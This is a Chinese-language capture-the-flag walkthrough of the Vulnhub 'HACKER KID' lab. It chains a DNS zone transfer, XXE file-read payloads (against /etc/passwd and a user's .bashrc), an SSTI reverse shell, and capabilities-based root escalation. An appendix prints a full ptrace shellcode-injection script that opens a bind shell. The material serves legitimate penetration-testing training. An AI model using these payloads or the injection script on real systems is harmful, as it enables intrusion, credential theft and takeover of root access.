Vulnhub-HACKER KID: 1.0.1靶场实践
字数 1646 2025-08-24 07:48:33
Vulnhub HACKER KID: 1.0.1 靶场实践教学文档
靶场概述
- 靶机名称: HACKER KID: 1.0.1
- 下载地址: Vulnhub链接
- 难度级别: OSCP风格
- 特点: 注重枚举技巧,利用方式简单,无需猜测或暴力破解,每个步骤都有适当提示
环境准备
- 下载并导入靶机到虚拟化平台
- 确保攻击机(Kali Linux)与靶机在同一网络
渗透测试流程
1. 主机发现
使用arp-scan工具发现靶机IP:
arp-scan -l
示例结果: 靶机IP为192.168.84.130
2. 信息收集
端口扫描
nmap -p- -Pn -sT -sV 192.168.84.130
发现开放80端口
Web目录扫描
未发现有用信息
首页源码分析
查看首页源码发现注释提示:
- 需要
page_on参数 - 添加
page_on参数后显示"深度不够",提示需要爆破该参数
参数爆破
使用Burp Suite对page_on参数进行爆破:
- 发现
page_on=21时响应长度不一致 - 页面提示存在多个子域名,其中一个是
hackers.blackhat.local
3. DNS区域传送利用
53端口扫描
nmap -p53 -sU -sT 192.168.84.130
发现TCP和UDP 53端口均开放
DNS区域传送
dig axfr @192.168.84.130 blackhat.local
获取所有子域名后,将解析添加到/etc/hosts文件
4. XXE漏洞利用
访问hackerkid.blackhat.local:
- 尝试创建用户失败
- 抓包发现POST数据为XML格式
- 验证XXE漏洞存在
XXE利用
- 发现可利用用户
saket - 尝试读取
.bashrc失败 - 使用
php://filter读取文件:
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/home/saket/.bashrc">]>
- 解码base64获取账户密码
5. 9999端口登录
使用获取的凭据登录9999端口:
- 用户名:
saket - 密码: 从.bashrc中获取
6. SSTI漏洞利用
登录后提示输入名字:
- 发现
name参数存在SSTI漏洞 - 验证payload:
{{1+abcxyz}}${1+abcxyz}<%1+abcxyz%>[abcxyz] - 构造反弹shell payload并进行URL编码
- Kali监听4444端口获取shell
7. Capabilities提权
查找具有capabilities的程序
/sbin/getcap -r / 2>/dev/null
发现python2.7具有capabilities
选择目标进程
ps -aux | grep root
选择ID为1012的apache进程
执行提权
- 下载并执行提权脚本
inject.py:
python2.7 inject.py 1012
- 靶机开启5600端口后门
- 使用nc连接:
nc 192.168.84.130 5600
成功获取root权限
关键知识点详解
1. Capabilities提权
Linux Capabilities将root权限分割为不同能力,某些程序可能被赋予特定能力而不需要完整root权限。当程序被赋予cap_setuid+ep等危险能力时,可被利用进行提权。
相关资源:
2. DNS区域传送
DNS区域传送(AXFR)用于主从DNS服务器同步数据。配置不当可能导致信息泄露,获取所有子域名记录。
技术要点:
- DNS通常使用UDP 53端口,区域传送使用TCP 53端口
- 完全区域传送(AXFR)和增量区域传送(IXFR)
- 使用
dig axfr命令测试
相关资源:
3. XXE漏洞
XML外部实体注入,通过构造恶意XML实体引用外部资源,可能导致文件读取、SSRF等。
利用方式:
- 文件读取:
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
- 使用过滤器读取base64编码文件:
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">]>
4. SSTI漏洞
服务器端模板注入,当用户输入被直接拼接到模板中执行时,可注入恶意代码。
检测方法:
- 使用通用payload测试:
{{7*7}}、${7*7}等 - 不同模板引擎语法不同
附录: 提权脚本
# inject.py
# 基于C程序改写,原程序参考: https://github.com/0x00pf/0x00sec_code/blob/master/mem_inject/infect.c
import ctypes
import sys
import struct
# 定义ptrace宏
PTRACE_POKETEXT = 4
PTRACE_GETREGS = 12
PTRACE_SETREGS = 13
PTRACE_ATTACH = 16
PTRACE_DETACH = 17
# 定义寄存器结构
class user_regs_struct(ctypes.Structure):
_fields_ = [
("r15", ctypes.c_ulonglong),
("r14", ctypes.c_ulonglong),
("r13", ctypes.c_ulonglong),
("r12", ctypes.c_ulonglong),
("rbp", ctypes.c_ulonglong),
("rbx", ctypes.c_ulonglong),
("r11", ctypes.c_ulonglong),
("r10", ctypes.c_ulonglong),
("r9", ctypes.c_ulonglong),
("r8", ctypes.c_ulonglong),
("rax", ctypes.c_ulonglong),
("rcx", ctypes.c_ulonglong),
("rdx", ctypes.c_ulonglong),
("rsi", ctypes.c_ulonglong),
("rdi", ctypes.c_ulonglong),
("orig_rax", ctypes.c_ulonglong),
("rip", ctypes.c_ulonglong),
("cs", ctypes.c_ulonglong),
("eflags", ctypes.c_ulonglong),
("rsp", ctypes.c_ulonglong),
("ss", ctypes.c_ulonglong),
("fs_base", ctypes.c_ulonglong),
("gs_base", ctypes.c_ulonglong),
("ds", ctypes.c_ulonglong),
("es", ctypes.c_ulonglong),
("fs", ctypes.c_ulonglong),
("gs", ctypes.c_ulonglong),
]
libc = ctypes.CDLL("libc.so.6")
pid = int(sys.argv[1])
# 设置参数和返回类型
libc.ptrace.argtypes = [ctypes.c_uint64, ctypes.c_uint64, ctypes.c_void_p, ctypes.c_void_p]
libc.ptrace.restype = ctypes.c_uint64
# 附加到进程
libc.ptrace(PTRACE_ATTACH, pid, None, None)
registers = user_regs_struct()
# 获取寄存器值
libc.ptrace(PTRACE_GETREGS, pid, None, ctypes.byref(registers))
print("Instruction Pointer: " + hex(registers.rip))
print("Injecting Shellcode at: " + hex(registers.rip))
# 反弹shell的shellcode
shellcode = "\x48\x31\xc0\x48\x31\xd2\x48\x31\xf6\xff\xc6\x6a\x29\x58\x6a\x02\x5f\x0f\x05\x48\x97\x6a\x02\x66\xc7\x44\x24\x02\x15\xe0\x54\x5e\x52\x6a\x31\x58\x6a\x10\x5a\x0f\x05\x5e\x6a\x32\x58\x0f\x05\x6a\x2b\x58\x0f\x05\x48\x97\x6a\x03\x5e\xff\xce\xb0\x21\x0f\x05\x75\xf8\xf7\xe6\x52\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x8d\x3c\x24\xb0\x3b\x0f\x05"
# 逐字节注入shellcode
for i in xrange(0, len(shellcode), 4):
shellcode_byte_int = int(shellcode[i:4+i].encode('hex'), 16)
shellcode_byte_little_endian = struct.pack("<I", shellcode_byte_int).rstrip('\x00').encode('hex')
shellcode_byte = int(shellcode_byte_little_endian, 16)
libc.ptrace(PTRACE_POKETEXT, pid, ctypes.c_void_p(registers.rip + i), shellcode_byte)
print("Shellcode Injected!!")
# 修改指令指针
registers.rip = registers.rip + 2
# 设置寄存器
libc.ptrace(PTRACE_SETREGS, pid, None, ctypes.byref(registers))
print("Final Instruction Pointer: " + hex(registers.rip))
# 分离进程
libc.ptrace(PTRACE_DETACH, pid, None, None)
总结
本靶场涵盖了多个重要渗透测试技术点:
- 信息收集与枚举
- DNS区域传送利用
- XXE漏洞利用
- SSTI漏洞利用
- Linux Capabilities提权
每个步骤都有明确提示,适合练习基础渗透技能和漏洞链利用思路。